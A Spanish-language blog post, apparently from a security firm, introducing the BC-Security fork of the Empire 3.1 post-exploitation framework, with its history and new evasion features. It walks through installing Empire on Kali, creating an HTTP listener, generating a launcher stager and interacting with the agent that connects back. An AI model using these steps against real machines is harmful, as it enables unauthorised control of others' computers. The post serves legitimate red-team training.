Empire 3.1 project en kali linux

Introducción

Empire es un proyecto de código abierto, cuyo propósito es brindar un agente de post explotación, desarrollado puramente en powershell. Su objetivo era mostrar las capacidades de powershell en el ámbito de la post explotación. En su momento representó un antes y un después en el ámbito de operaciones de red team.

El agente está montado sobre comunicaciones criptológicamente seguras y cuenta con una arquitectura flexible. Empire permite desplegar agentes sin necesidad de que cuenten con el binario powershell.exe. En algunos aspectos la arquitectura guarda similitudes con el framework metasploit, pero su foco es la post explotación.

Los desarrolladores originales del proyecto (@harmj0y, @sixdub, @enigma0x3, rvrsh3ll, @killswitch_gui, y @xorrior)., discontinuaron el mismo en Agosto de 2019, habiendo alcanzado su versión 2.5. El último release, como hemos mostrado en algunos trainings, requería de ciertos «toques» para que algunas herramientas funcionaran y adolecía de ciertas limitaciones por las versiones del software de base próximo a volverse obsoleto (pyton 2.x).

Parecía entonces que el proyecto quedaría abandonado, y que de a poco quedaría en desuso.

Murió y resucitó

Durante la edición 27 de Defcon BC-Security anunció que continuaría el desarrollo haciendo un fork del proyecto, incorporando funcionalidades de bypass de AMSI y posteriormente reparando funcionalidades que iban dejando de estar operativas por actualizaciones en los sistemas operativos modernos. El siguiente gran paso fue la migración de los componentes de server a Python 3.

El primer release oficial fue el 23 de Diciembre del 2019, marcando su vuelta a la vida. El proyecto volvió a estar muy activo y se realizaron (a la fecha de este post) 7 release alcanzando la versión 3.1.

Las principales mejoras desde la versión 2.5 fueron:

  • Compatibilidad con Python 3 (por la cercanía el end of life the Python 2.7)
  • Capacidad multi usuario de los componentes server C2
  • Mejoras de funcionalidades de evasión de antivirus y bypass de AMSI
  • Mejoras en la funcionalidad API del server C2
  • Actualización e inclusión de las versiones actuales de varios modulos powershell que en la versión 2.5 eran versiones Dev o inestables
  • Mejoras en la evasión de antivirus en los launchers
  • Actualización del módulo invoke-mimikatz a versiones actuales para que funcione en las versiones actuales de Windows 10 (1903)
  • Aleatoriedad de fingerprints para evadir firmas JA3/S [3] (JA3 es un método de fingertprinting de tráfico a través del análisis de handshake de TLS)

Circula un rumor (actualizaremos el post si esto se concreta) de que pronto habrá una interfaz web de administración al estilo de Covenant.

EDIT: Ya esta disponible la interfaz web. En un proximo post publicaremos como instalarla y nuestras primeras impresiones EDIT.

«Spoiler image»

Ya por las funcionalidades y mejoras da curiosidad como para probarlo, así que vamos a ver como instalarlo.

Instalación

Clonar el repositorio del proyecto


git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh

Una vez finalizado el clone, cambiar al directorio y ejecutar el script de instalación


cd Empire
sudo ./setup/install.sh


Durante la instalación nos solicitara una contraseña de negociación con el servidor

«[>] Enter server negotiation password, enter for random generation:»

Es seguro dejar la generación random


Iniciar empire

Para iniciar empire


sudo ./empire


Si todo anduvo bien…


Inicializando listeners

Para quienes estén familiarizados con metasploit, los listeners son similares a los handlers que utiliza MSF.

Incluso la configuración tiene varias similitudes

Para entrar en la configuración de los listeners se ingresa con el comando:


listeners
help

Con el comando help, podemos ver todas las opciones de comandos disponibles


No es la intención de esta nota recorrer todos los comandos, solo brindar un panorama general luego de la instalación.

Para configurar un listener http/https podemos usar el comando


listeners
uselistener http
info

Con el comando info podemos ver las opciones


Para generar un listener http


set Name Listener_http
set Host http://IP_DE_KALI
set Port 80
execute


Generando y usando Stagers

Los stagers son porciones de código a ejecutar en un agente, son el análogo de los payloads en metasploit.

Los stagers se implementan modularmente y se encuentran en ./lib/stagers.

Para generar un stager que se comunique con nuestro listener de empire que creamos en la sección anterior


usestager multi/launcher
set Listener Listener_http
execute


Copiando el código creado como salida, se podrá ejecutar sobre el equipo sobre el que queremos tomar control. Las formas de hacer delivery del stager, exceden el objetivo de este post.

Si todo salió bien, recibiremos una conexión reversa desde el equipo Windows:

Y podremos interactuar con el agente recién chequeado:


interact NOMBRE_AGENTE
sysinfo

Desde este punto podemos aplicar diferentes técnicas de enumeración, escalamiento y movimiento lateral para conseguir el objetivo buscado.

Referencias

[1] Github BC-Security fork:

[2] Post de lanzamiento de fork de empire: https://www.bc-security.org/post/the-empire-3-0-strikes-back

[3] JA3/S evasion: https://www.bc-security.org/post/ja3-s-signatures-and-how-to-avoid-them

[4] Powershell empire (original): https://www.powershellempire.com/

[5] Github empire (original): https://github.com/EmpireProject/Empire

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *